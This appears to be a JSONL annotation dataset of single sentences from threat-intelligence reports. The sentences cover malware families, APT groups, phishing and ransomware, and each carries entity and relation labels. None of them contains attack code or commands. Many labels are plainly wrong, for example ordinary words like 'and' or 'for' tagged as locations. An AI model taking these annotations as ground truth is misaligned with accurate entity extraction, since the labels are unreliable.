{"id":2578,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":13002,"text":"There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.","entities":[],"relations":[],"Comments":[]}
{"id":6103,"text":" Of note, three of the Google Code projects associated with the newly uncovered account were added during the past few days, indicating it is still in active use.  Below is a current screenshot of the newly uncovered Google Code account\u2019s projects.","entities":[],"relations":[],"Comments":[]}
{"id":11740,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":36187,"label":"location","start_offset":52,"end_offset":56},{"id":36188,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":36189,"label":"location","start_offset":75,"end_offset":79},{"id":36192,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
{"id":2969,"text":"Even though not all devices can use password managers directly, it\u2019s still one of the best things you can set up.","entities":[],"relations":[],"Comments":[]}
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{"id":5282,"text":"This list aims to aid cybersecurity defenders in searching for affected devices in their networks and starting the remediation process.","entities":[],"relations":[],"Comments":[]}
{"id":4667,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
{"id":465,"text":" Even then, taking down sites that malware using a DGA can be a challenge as defenders have to go through the process of working with ISPs to take down these malicious domains one by one.","entities":[{"id":46124,"label":"identity","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
{"id":5035,"text":"In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.","entities":[{"id":51105,"label":"TIME","start_offset":3,"end_offset":12},{"id":51106,"label":"identity","start_offset":14,"end_offset":17},{"id":51107,"label":"threat-actor","start_offset":29,"end_offset":40},{"id":51108,"label":"SOFTWARE","start_offset":80,"end_offset":88}],"relations":[],"Comments":[]}
{"id":1745,"text":"In recent research, we found attackers were using fake versions of some well-known and well-trusted sites:","entities":[],"relations":[],"Comments":[]}
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{"id":1479,"text":"In addition to our research, the Baidu Security team in China recently found 23 mobile banking apps sharing the same certificate hosted by a third party app developer and reported the discovery to the CNCERT in China.","entities":[{"id":45023,"label":"location","start_offset":56,"end_offset":61},{"id":45025,"label":"location","start_offset":211,"end_offset":216},{"id":45026,"label":"identity","start_offset":201,"end_offset":207},{"id":45024,"label":"identity","start_offset":33,"end_offset":52}],"relations":[{"id":58,"from_id":45026,"to_id":45025,"type":"located-at"},{"id":219,"from_id":45024,"to_id":45023,"type":"located-at"}],"Comments":[]}
{"id":13956,"text":"Organizations therefore need to take the time to put in place an incident response plan focused on the new model of ransomware attacks.","entities":[],"relations":[],"Comments":[]}
{"id":10779,"text":"Due to the suspicious nature of this activity, we decided to investigate further.","entities":[],"relations":[],"Comments":[]}
{"id":13532,"text":"King added that this DOE initiative will better protect the US from cyberattacks.","entities":[{"id":51595,"label":"identity","start_offset":0,"end_offset":4},{"id":51596,"label":"location","start_offset":60,"end_offset":62}],"relations":[],"Comments":[]}
{"id":3862,"text":"If the user clicks on the \u201cNo\u201d button, malicious activity will not initiate.","entities":[],"relations":[],"Comments":[]}
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{"id":3654,"text":"And so technological prevention controls (patching, robust security) are even more for effective prevention.","entities":[],"relations":[],"Comments":[]}
{"id":2285,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":47357,"label":"identity","start_offset":77,"end_offset":83},{"id":47356,"label":"malware","start_offset":179,"end_offset":187},{"id":47358,"label":"location","start_offset":154,"end_offset":160}],"relations":[{"id":314,"from_id":47356,"to_id":47358,"type":"located-at"}],"Comments":[]}
{"id":3254,"text":"The BPS backdoor global configuration variable     The backdoor communicates with the C&C server using the Socket.io protocol.","entities":[{"id":48370,"label":"malware","start_offset":4,"end_offset":16}],"relations":[],"Comments":[]}
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{"id":8512,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":26277,"label":"location","start_offset":23,"end_offset":31},{"id":26279,"label":"location","start_offset":113,"end_offset":117},{"id":26280,"label":"location","start_offset":124,"end_offset":130},{"id":26281,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
{"id":14138,"text":"However, the SYSTEM_ADMIN account has a different pattern because the actions are mostly due to manual administration activities.","entities":[],"relations":[],"Comments":[]}
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{"id":3989,"text":"The three most common methods are taking over the software update mechanism to deliver an updated software with malicious code, exploiting misconfigured access controls, and targeting publicly accessible code libraries, and inserting malicious code, which unknowing customers then download to their systems.","entities":[],"relations":[],"Comments":[]}
{"id":1571,"text":"The Ukrainian CERT has issued an alert on Bad Rabbit.","entities":[{"id":4696,"label":"malware","start_offset":42,"end_offset":52},{"id":46828,"label":"identity","start_offset":4,"end_offset":18}],"relations":[],"Comments":[]}
{"id":13752,"text":"The image on the right showcases how the DLL on a victim's machine appears.","entities":[],"relations":[],"Comments":[]}
{"id":9296,"text":"Unlike many web skimmers, which are designed to collect information from many kinds of e-commerce payment pages in general, the skimmer that the Mirrorthief group used was designed specifically for PrismWeb\u2019s payment page.","entities":[{"id":28712,"label":"location","start_offset":7,"end_offset":11},{"id":28713,"label":"location","start_offset":32,"end_offset":35},{"id":28714,"label":"location","start_offset":73,"end_offset":77},{"id":28715,"label":"location","start_offset":89,"end_offset":97},{"id":28718,"label":"tools","start_offset":217,"end_offset":221}],"relations":[],"Comments":[]}
{"id":5177,"text":"We also show a preview of the security gaps we found in the standard\u2019s specification and a summary of our testing procedure.","entities":[],"relations":[],"Comments":[]}
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{"id":1024,"text":" To further assess this threat, we purchased a customized, new account from a seller on Taobao.","entities":[{"id":46515,"label":"SOFTWARE","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
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{"id":5329,"text":"After choosing an IP address and a TCP port pair, the core component creates a child process to perform the communication.","entities":[],"relations":[],"Comments":[]}
{"id":3872,"text":"Thus, there is a pressing need to detect and address threats via a proactive incident response strategy.","entities":[],"relations":[],"Comments":[]}
{"id":3272,"text":"The BIOPASS RAT malware implements multiple commands, most of which are self-explanatory.","entities":[{"id":9936,"label":"malware","start_offset":4,"end_offset":15}],"relations":[],"Comments":[]}
{"id":4400,"text":"Once provided, the data in the \"Identity\" field is sent to a C2 for confirmation.","entities":[],"relations":[],"Comments":[]}
{"id":3179,"text":" We also found several clues that show how the malware might be connected with the Winnti Group(also known as APT41).  ","entities":[{"id":48308,"label":"threat-actor","start_offset":110,"end_offset":115},{"id":48307,"label":"threat-actor","start_offset":83,"end_offset":95}],"relations":[{"id":403,"from_id":48307,"to_id":48308,"type":"duplicate-of"}],"Comments":[]}
{"id":317,"text":"The key is putting a policy in place and making sure your technology is enforcing that policy at the network layer.","entities":[],"relations":[],"Comments":[]}
{"id":2431,"text":"However, while the original way of obtaining the class loader and exploiting it no longer works, a new feature of JDK was introduced in version 9, providing another way to obtain the class loader and making the exploit possible again.","entities":[{"id":47499,"label":"SOFTWARE","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
{"id":8136,"text":"The app callCam hides its icon on the device after being launched.","entities":[],"relations":[],"Comments":[]}
{"id":775,"text":"Finally we make the size of the CMemoryProtector::ProtectedFree management structure larger than 0x186a0 forcing the freeing operation.","entities":[],"relations":[],"Comments":[]}
{"id":1583,"text":" Once inside a network, Bad Rabbit propagates itself to other systems.","entities":[{"id":4721,"label":"malware","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]}
{"id":7991,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":24771,"label":"location","start_offset":9,"end_offset":15},{"id":24772,"label":"location","start_offset":30,"end_offset":34},{"id":24773,"label":"location","start_offset":46,"end_offset":53},{"id":24774,"label":"location","start_offset":54,"end_offset":58},{"id":24776,"label":"location","start_offset":141,"end_offset":144},{"id":24778,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
{"id":1112,"text":" In cases such as these the common approach is to use sets of the data, in this case sets of mutexes, to create fingerprints of each sample and then leverage those fingerprints to extract higher confidence classification decisions.","entities":[],"relations":[],"Comments":[]}
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{"id":314,"text":" Once you can identify the traffic, you need to separate the good from the bad.","entities":[],"relations":[],"Comments":[]}
{"id":3175,"text":" We consider BIOPASS RAT as still being actively developed.","entities":[{"id":48301,"label":"malware","start_offset":13,"end_offset":24}],"relations":[],"Comments":[]}
{"id":13791,"text":"In order to hide the behaviors of the first-stage backdoor (which is the second payload), the first payload uses API hooking techniques to avoid being detected by a specific security product and to make an interference in the result of the function execution.","entities":[{"id":42815,"label":"attack-pattern","start_offset":117,"end_offset":124},{"id":42816,"label":"location","start_offset":174,"end_offset":182},{"id":42817,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
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{"id":3972,"text":" Enterprises and organizations should have comprehensive and efficient protection, detection, prevention, and remediation based on real-time, higher-confidence alerts to protect critical data and operations from sophisticated attacks and threats.","entities":[],"relations":[],"Comments":[]}
{"id":5470,"text":"Exploiting the human psyche with chat apps Probing Confucius\u2019 infrastructure, we came across websites offering Windows and Android chat applications, most likely iterations of its predecessor, Simple Chat Point: Secret Chat Point, and Tweety Chat.","entities":[{"id":51460,"label":"SOFTWARE","start_offset":123,"end_offset":130},{"id":51461,"label":"SOFTWARE","start_offset":193,"end_offset":210},{"id":51458,"label":"threat-actor","start_offset":51,"end_offset":60},{"id":51459,"label":"SOFTWARE","start_offset":111,"end_offset":118},{"id":51462,"label":"SOFTWARE","start_offset":212,"end_offset":229},{"id":51463,"label":"SOFTWARE","start_offset":235,"end_offset":246}],"relations":[],"Comments":[]}
{"id":1279,"text":"Additionally, the actors have now added the popular PlugX backdoor to their toolkit.","entities":[{"id":46653,"label":"malware","start_offset":52,"end_offset":66}],"relations":[],"Comments":[]}
{"id":13004,"text":"In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.","entities":[{"id":48806,"label":"threat-actor","start_offset":29,"end_offset":41},{"id":48802,"label":"attack-pattern","start_offset":52,"end_offset":61},{"id":48803,"label":"SOFTWARE","start_offset":80,"end_offset":89}],"relations":[],"Comments":[]}
{"id":5369,"text":"Asus module main loop     If the data coming from the core component starts with \u201c<p:\u201d, it means that it is a parameter for this module and 80 bytes will be written to the flash memory, effectively replacing its content.","entities":[],"relations":[],"Comments":[]}
{"id":11643,"text":"We also found multiple Android APK files on their phishing server.","entities":[{"id":35734,"label":"attack-pattern","start_offset":50,"end_offset":58}],"relations":[],"Comments":[]}
{"id":4082,"text":"During our investigation into Earth Centaurs activities, we found that it also uses another backdoor called Lilith RAT.","entities":[{"id":49916,"label":"threat-actor","start_offset":30,"end_offset":44},{"id":49917,"label":"malware","start_offset":108,"end_offset":118}],"relations":[{"id":893,"from_id":49916,"to_id":49917,"type":"uses"}],"Comments":[]}
{"id":6481,"text":"That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility.","entities":[{"id":20128,"label":"location","start_offset":18,"end_offset":28},{"id":20129,"label":"location","start_offset":81,"end_offset":84},{"id":20130,"label":"attack-pattern","start_offset":111,"end_offset":121},{"id":20131,"label":"location","start_offset":134,"end_offset":137},{"id":20132,"label":"location","start_offset":172,"end_offset":179}],"relations":[],"Comments":[]}
{"id":1628,"text":" Funtasy does this even when the victim uses alternative SMS managers, like Google Hangouts or GO SMS Pro.","entities":[{"id":46851,"label":"SOFTWARE","start_offset":76,"end_offset":91},{"id":46853,"label":"malware","start_offset":1,"end_offset":8},{"id":46852,"label":"SOFTWARE","start_offset":95,"end_offset":105}],"relations":[],"Comments":[]}
{"id":3999,"text":"The actor is also responsible for the abuse of commonly used authentication mechanisms.","entities":[{"id":49856,"label":"attack-pattern","start_offset":38,"end_offset":86}],"relations":[],"Comments":[]}
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{"id":833,"text":"In the months since the WanaCrypt0r\/WannaCry and the Petya\/NotPetya attacks, security researchers have delved into the nuts and bolts these incidents and the malware involved.","entities":[{"id":2720,"label":"malware","start_offset":36,"end_offset":44},{"id":2722,"label":"malware","start_offset":53,"end_offset":58},{"id":2723,"label":"malware","start_offset":59,"end_offset":67},{"id":2719,"label":"malware","start_offset":24,"end_offset":35}],"relations":[],"Comments":[]}
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{"id":1578,"text":"Therefore, there appears to be little reconnaissance as part of this attack.","entities":[],"relations":[],"Comments":[]}
{"id":2487,"text":"We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC.","entities":[{"id":45537,"label":"vulnerability","start_offset":129,"end_offset":145}],"relations":[],"Comments":[]}
{"id":5629,"text":"To avoid having this request rejected by the server, the Trojan alters its user-agent string to appear as Internet Explorer 9 running on Windows 7.","entities":[],"relations":[],"Comments":[]}
{"id":5701,"text":"The user eventually downloads an archive file containing either a malicious LNK file or an executable \u2014 eventually leading to a Cobalt Strike loader.","entities":[],"relations":[],"Comments":[]}
{"id":4568,"text":"One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.","entities":[{"id":50401,"label":"identity","start_offset":44,"end_offset":51},{"id":50402,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":50403,"label":"vulnerability","start_offset":103,"end_offset":118},{"id":50404,"label":"identity","start_offset":169,"end_offset":197}],"relations":[{"id":959,"from_id":50402,"to_id":50404,"type":"impersonates"},{"id":960,"from_id":50402,"to_id":50403,"type":"uses"}],"Comments":[]}
{"id":8412,"text":"We believe its use is growing, fueled by demand from governments.","entities":[],"relations":[],"Comments":[]}
{"id":873,"text":"For the sake of clarity, I will refer to this newer version of PClock as PClock2 going forward.","entities":[{"id":44897,"label":"malware","start_offset":73,"end_offset":80},{"id":44896,"label":"malware","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
{"id":9444,"text":"        Figure 2. asycfilt.dll shown among loaded module names      lz32.dll is opened based on process monitoring tools.       Figure 3. lz32.dll shown among opened files      Only PuppetLoader\u2019s dropper payload is loaded and none of the previously mentioned libraries is actually loaded.","entities":[{"id":29044,"label":"location","start_offset":177,"end_offset":181},{"id":29045,"label":"malware","start_offset":182,"end_offset":194},{"id":29046,"label":"location","start_offset":223,"end_offset":226},{"id":29047,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]}
{"id":1220,"text":"Both SMS sending and SMS blocking will only affect Android phones with a valid Chinese mobile phone number.","entities":[{"id":46605,"label":"SOFTWARE","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
{"id":14095,"text":"However, in our case, this was difficult as we are comparing samples from 2016-2017 to those developed in 2020.","entities":[{"id":48174,"label":"TIME","start_offset":74,"end_offset":83},{"id":48175,"label":"TIME","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
{"id":13913,"text":"It is interesting to note that DarkSide\u2019s ransom note is similar to that of Babuk, which might indicate that these two families share a link.","entities":[{"id":48734,"label":"malware","start_offset":31,"end_offset":42},{"id":48735,"label":"malware","start_offset":76,"end_offset":81}],"relations":[{"id":450,"from_id":48734,"to_id":48735,"type":"related-to"}],"Comments":[]}
{"id":2028,"text":"As a result, a lot of the function structure overlaps with Babuk, after getting past the obfuscation.","entities":[{"id":47123,"label":"malware","start_offset":59,"end_offset":64}],"relations":[],"Comments":[]}
{"id":13440,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":5217,"text":"Security researchers from different organizations have been documenting and creating attack scenarios abusing these vulnerabilities as early as 2015.","entities":[{"id":51257,"label":"TIME","start_offset":144,"end_offset":148}],"relations":[],"Comments":[]}
{"id":8309,"text":" HYPERSCRAPE requires the victim\u2019s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]}
{"id":2235,"text":" The final payload proceeds to enter its command and control loop.","entities":[],"relations":[],"Comments":[]}
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{"id":6931,"text":"This APT group (also referred to as Operation C-Major, PROJECTM, Mythic Leopard, and Transparent Tribe) has been known to use social engineering and phishing lures as an entry point, after which, it deploys the Crimson RAT malware to steal information from its victims.","entities":[{"id":21681,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":21683,"label":"location","start_offset":81,"end_offset":84},{"id":21685,"label":"location","start_offset":145,"end_offset":148},{"id":21686,"label":"attack-pattern","start_offset":149,"end_offset":157},{"id":21687,"label":"location","start_offset":176,"end_offset":181}],"relations":[],"Comments":[]}
{"id":9709,"text":"Screenshot of the final payload to be sent to C&C server.","entities":[],"relations":[],"Comments":[]}
{"id":14213,"text":"An extra component has been added to its sections.","entities":[],"relations":[],"Comments":[]}
{"id":2418,"text":" Then the developer creates a controller to use the object trade as shown in Figure 2.  After that, the developer usually creates a request builder for the trade controller, which allows the web user to access the trade object remotely as shown in Figure 3.","entities":[],"relations":[],"Comments":[]}
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{"id":1734,"text":"Avoid clicking on links that you get in email.","entities":[],"relations":[],"Comments":[]}
{"id":656,"text":" Lateral Movement  Petya uses three mechanisms to spread to additional hosts.","entities":[{"id":2156,"label":"malware","start_offset":19,"end_offset":24},{"id":46235,"label":"attack-pattern","start_offset":1,"end_offset":17}],"relations":[],"Comments":[]}
{"id":13680,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":14084,"text":"As mentioned in the previous report on Operation Earth Kitsune, one of the espionage backdoors, named agfSpy, received a \u201cJSON\u201d configuration with a list of native Windows commands to execute.","entities":[{"id":48163,"label":"malware","start_offset":102,"end_offset":108},{"id":48164,"label":"campaign","start_offset":39,"end_offset":62},{"id":48165,"label":"SOFTWARE","start_offset":164,"end_offset":172}],"relations":[],"Comments":[]}
{"id":13566,"text":"The basic attack script provided by the framework could report the victim\u2019s location and browser cookies.","entities":[{"id":51648,"label":"malware","start_offset":10,"end_offset":24}],"relations":[],"Comments":[]}
{"id":6061,"text":"Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) \/ WIZARD SPIDER (CrowdStrike).","entities":[{"id":18692,"label":"location","start_offset":56,"end_offset":59},{"id":18697,"label":"threat-actor","start_offset":187,"end_offset":200},{"id":18698,"label":"identity","start_offset":202,"end_offset":213}],"relations":[],"Comments":[]}
{"id":4785,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]}
{"id":4366,"text":"It also protects organizations from email-based threats.","entities":[],"relations":[],"Comments":[]}
{"id":11671,"text":"After decryption (using the same principle as with the main backdoor + stealer), the configuration reveals which file formats the attackers are targeting.","entities":[{"id":35799,"label":"location","start_offset":28,"end_offset":32},{"id":35800,"label":"malware","start_offset":71,"end_offset":78},{"id":35801,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
{"id":1506,"text":" For each IP address the btdaemon service will attempt to make a connection on UDP ports 53, 80, 110, and 443.","entities":[],"relations":[],"Comments":[]}
{"id":13914,"text":"DarkSide ransomware targets","entities":[{"id":48737,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":4912,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[],"relations":[],"Comments":[]}
{"id":4225,"text":"Based on the information they retrieve, the operators can then decide to instruct the malware to download the second stage payload.","entities":[],"relations":[],"Comments":[]}
{"id":4609,"text":"The above image shows the vulnerability detected and all the assets related to the alert for further investigation.","entities":[],"relations":[],"Comments":[]}
{"id":7759,"text":"The unpacked payload in memory is also a .DLL \u2014 it's the first time we've seen a FlawedAmmyy downloader as a .DLL.","entities":[{"id":24072,"label":"location","start_offset":63,"end_offset":67},{"id":24073,"label":"malware","start_offset":81,"end_offset":92}],"relations":[],"Comments":[]}
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{"id":4388,"text":"Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.","entities":[{"id":50201,"label":"SOFTWARE","start_offset":59,"end_offset":73}],"relations":[],"Comments":[]}
{"id":3497,"text":"We were also able to source a sample of Protux\u2019s remote controller tool.","entities":[{"id":49293,"label":"malware","start_offset":40,"end_offset":46}],"relations":[],"Comments":[]}
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{"id":2430,"text":" In the Spring Framework version 2.5.6.SEC02, the vulnerability was fixed.","entities":[{"id":45516,"label":"SOFTWARE","start_offset":9,"end_offset":44}],"relations":[],"Comments":[]}
{"id":12191,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.","entities":[],"relations":[],"Comments":[]}
{"id":593,"text":" In our latest research, we can see the attackers behind Hancitor have been timing their attacks to happen during the busiest time of the global working week, the middle of the week.","entities":[{"id":46185,"label":"malware","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
{"id":13350,"text":" The loaders decrypted the next-stage payloads, which were either embedded inside itself or stored on the disk as separate files.","entities":[],"relations":[],"Comments":[]}
{"id":4068,"text":"Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.Js.","entities":[{"id":49904,"label":"tools","start_offset":0,"end_offset":8},{"id":49905,"label":"SOFTWARE","start_offset":54,"end_offset":61},{"id":49906,"label":"SOFTWARE","start_offset":66,"end_offset":73}],"relations":[],"Comments":[]}
{"id":4860,"text":"Both OAuth tokens and App Passwords are revoked when a user changes their password.","entities":[],"relations":[],"Comments":[]}
{"id":9537,"text":"We also found other legitimate tools being abused by Earth Berberoka and a malware family being used by the group in its campaign:  Quasar RAT \u2013 a Windows-based open-source RAT that has been used by APT groups for network exploitation","entities":[{"id":29253,"label":"threat-actor","start_offset":53,"end_offset":68},{"id":29254,"label":"location","start_offset":69,"end_offset":72},{"id":29255,"label":"location","start_offset":121,"end_offset":129},{"id":29256,"label":"malware","start_offset":132,"end_offset":142},{"id":29257,"label":"attack-pattern","start_offset":166,"end_offset":172},{"id":29258,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]}
{"id":6592,"text":"Threat actors are always looking to expand the strategies they use, thus security practices and solutions that work for less organized cybercriminals might not work for determined groups who are willing to spend time, resources and manpower to accomplish their goals.","entities":[{"id":20410,"label":"location","start_offset":14,"end_offset":17},{"id":20411,"label":"malware","start_offset":36,"end_offset":42},{"id":20412,"label":"location","start_offset":73,"end_offset":81},{"id":20413,"label":"location","start_offset":92,"end_offset":95},{"id":20414,"label":"location","start_offset":191,"end_offset":194},{"id":20415,"label":"location","start_offset":212,"end_offset":216},{"id":20416,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]}
{"id":13079,"text":"Perception of an \u201cunsafe\u201d business could turn customers towards competitors who can offer a better and more secure shopping experience.","entities":[],"relations":[],"Comments":[]}
{"id":5073,"text":"However, other organizations and countries may have been targeted.","entities":[],"relations":[],"Comments":[]}
{"id":11299,"text":"All rights reserved.","entities":[],"relations":[],"Comments":[]}
{"id":10688,"text":"Schemes behind the attacks The attacks that target open-source web servers could lead to enormous threats.","entities":[{"id":32629,"label":"location","start_offset":44,"end_offset":50},{"id":32630,"label":"attack-pattern","start_offset":56,"end_offset":62},{"id":32631,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
{"id":7140,"text":"We could not confirm the primary infection vector.","entities":[{"id":22319,"label":"tools","start_offset":43,"end_offset":49}],"relations":[],"Comments":[]}
{"id":6679,"text":"Kaseya recommends that any organization using VSA shut the system down immediately.","entities":[],"relations":[],"Comments":[]}
{"id":2653,"text":"In exchange, they offer a cut of the paid ransom.","entities":[],"relations":[],"Comments":[]}
{"id":14154,"text":"(See my recent webinar on trends in ransomware.)","entities":[],"relations":[],"Comments":[]}
{"id":142,"text":"However, in addition to the human factor, there are technical reasons.","entities":[],"relations":[],"Comments":[]}
{"id":3443,"text":" We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388:","entities":[{"id":49212,"label":"tools","start_offset":42,"end_offset":51},{"id":49211,"label":"vulnerability","start_offset":127,"end_offset":140}],"relations":[{"id":758,"from_id":49212,"to_id":49211,"type":"has"}],"Comments":[]}
{"id":12932,"text":"Check out the complete results and more information on Trend Micro Vision One here: https:\/\/resources.trendmicro.com\/MITRE-Attack-Evaluations.html.","entities":[{"id":40253,"label":"location","start_offset":0,"end_offset":5},{"id":40254,"label":"location","start_offset":31,"end_offset":34},{"id":40256,"label":"URL","start_offset":84,"end_offset":146}],"relations":[],"Comments":[]}
{"id":5103,"text":"Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[],"relations":[],"Comments":[]}
{"id":13,"text":" This campaign started earlier today, and the malware uses the same techniques and even the same IOCs:  And only added two new hostnames:","entities":[{"id":45808,"label":"TIME","start_offset":23,"end_offset":36}],"relations":[],"Comments":[]}
{"id":3609,"text":"Trend Micro\u2122 endpoint security has vulnerability protection that shields endpoints from identified and unknown vulnerability exploits even before patches are even deployed.","entities":[{"id":49388,"label":"identity","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
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{"id":11844,"text":"New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":36514,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]}
{"id":589,"text":"If you need to understand one thing about cybercrime, it\u2019s that it is all about business.","entities":[],"relations":[],"Comments":[]}
{"id":3268,"text":" 3.      The \u201caccept task\u201d handler is the main handler used to process the command sent from the C&C server and to return the execution result.","entities":[],"relations":[],"Comments":[]}
{"id":61,"text":"The one we see mined most by attackers is called Monero.","entities":[{"id":45819,"label":"SOFTWARE","start_offset":49,"end_offset":55}],"relations":[],"Comments":[]}
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{"id":2064,"text":"This particular IP was linked to a Contabo server that x4k had also included within their VirusTotal graph discussed above.","entities":[{"id":45245,"label":"threat-actor","start_offset":55,"end_offset":58},{"id":45247,"label":"identity","start_offset":35,"end_offset":42},{"id":45246,"label":"SOFTWARE","start_offset":90,"end_offset":101}],"relations":[{"id":94,"from_id":45245,"to_id":45247,"type":"uses"}],"Comments":[]}
{"id":423,"text":"Mining provides the computing necessary to power the digital currency\u2019s infrastructure.","entities":[],"relations":[],"Comments":[]}
{"id":13482,"text":"In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.","entities":[],"relations":[],"Comments":[]}
{"id":1197,"text":"This is a critical point: these SMS-based IAPs are able to independently send, receive, or block any SMS to\/from any cellphone on which they are installed, without the user having any idea this is occurring.","entities":[],"relations":[],"Comments":[]}
{"id":13037,"text":"We\u2019ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]}
{"id":5548,"text":"The only difference is that, in the background, a tiny piece of code will be stealing your data and transferring it to the hackers.","entities":[],"relations":[],"Comments":[]}
{"id":2806,"text":" In addition, Palo Alto Networks, and other vendors, including our fellow members of the Cyber Threat Alliance, have released additional protections that help prevent the spread of the WanaCrypt0r ransomware.","entities":[{"id":48025,"label":"malware","start_offset":185,"end_offset":196},{"id":48023,"label":"identity","start_offset":14,"end_offset":32},{"id":48024,"label":"identity","start_offset":89,"end_offset":110}],"relations":[],"Comments":[]}
{"id":109,"text":"Cloud Security Architecture","entities":[],"relations":[],"Comments":[]}
{"id":344,"text":" In the last week we\u2019ve seen the attack vectors evolve to contain exploit kits as well.","entities":[],"relations":[],"Comments":[]}
{"id":12645,"text":"AES encryption code  Figure 8.","entities":[],"relations":[],"Comments":[]}
{"id":871,"text":" In August, we started detecting updated copies of PClock, which has been improved upon by the malware author.","entities":[{"id":46406,"label":"TIME","start_offset":4,"end_offset":10},{"id":46407,"label":"malware","start_offset":51,"end_offset":57}],"relations":[],"Comments":[]}
{"id":13991,"text":"Determining who is behind a malware campaign can be a challenging endeavor.","entities":[],"relations":[],"Comments":[]}
{"id":3660,"text":"However, the groups use not just the Carbanak backdoor but also other types of malware such as Pillowmint, a point-of-sale malware, and Tirion, which is said to be geared to replace Carbanak.","entities":[{"id":49434,"label":"malware","start_offset":136,"end_offset":142},{"id":49431,"label":"malware","start_offset":37,"end_offset":55},{"id":49433,"label":"malware","start_offset":95,"end_offset":105},{"id":49435,"label":"malware","start_offset":182,"end_offset":190}],"relations":[],"Comments":[]}
{"id":82,"text":"2. Listen to your fans or keep an eye on your CPU usage.","entities":[],"relations":[],"Comments":[]}
{"id":9876,"text":"Read the full paper here.","entities":[],"relations":[],"Comments":[]}
{"id":14100,"text":"We tried to find how this feature evolved across previous samples and the older SLUB samples.","entities":[{"id":43635,"label":"malware","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
{"id":9984,"text":" Figure 6. Code snippet showing 9002 RAT checking the system time and setting itself to sleep in August 2018 Additional malware tools","entities":[{"id":30489,"label":"tools","start_offset":32,"end_offset":40},{"id":30490,"label":"location","start_offset":61,"end_offset":65},{"id":30491,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
{"id":10107,"text":"The directive treats agencies to treat said machines as compromised, with credentials used by said machines to be changed as well.","entities":[],"relations":[],"Comments":[]}
{"id":1469,"text":"According to the Google Play Store, these 87 apps have been downloaded more than 1.6 million times.","entities":[{"id":46776,"label":"SOFTWARE","start_offset":17,"end_offset":34}],"relations":[],"Comments":[]}
{"id":7999,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":24799,"label":"location","start_offset":32,"end_offset":35},{"id":24800,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
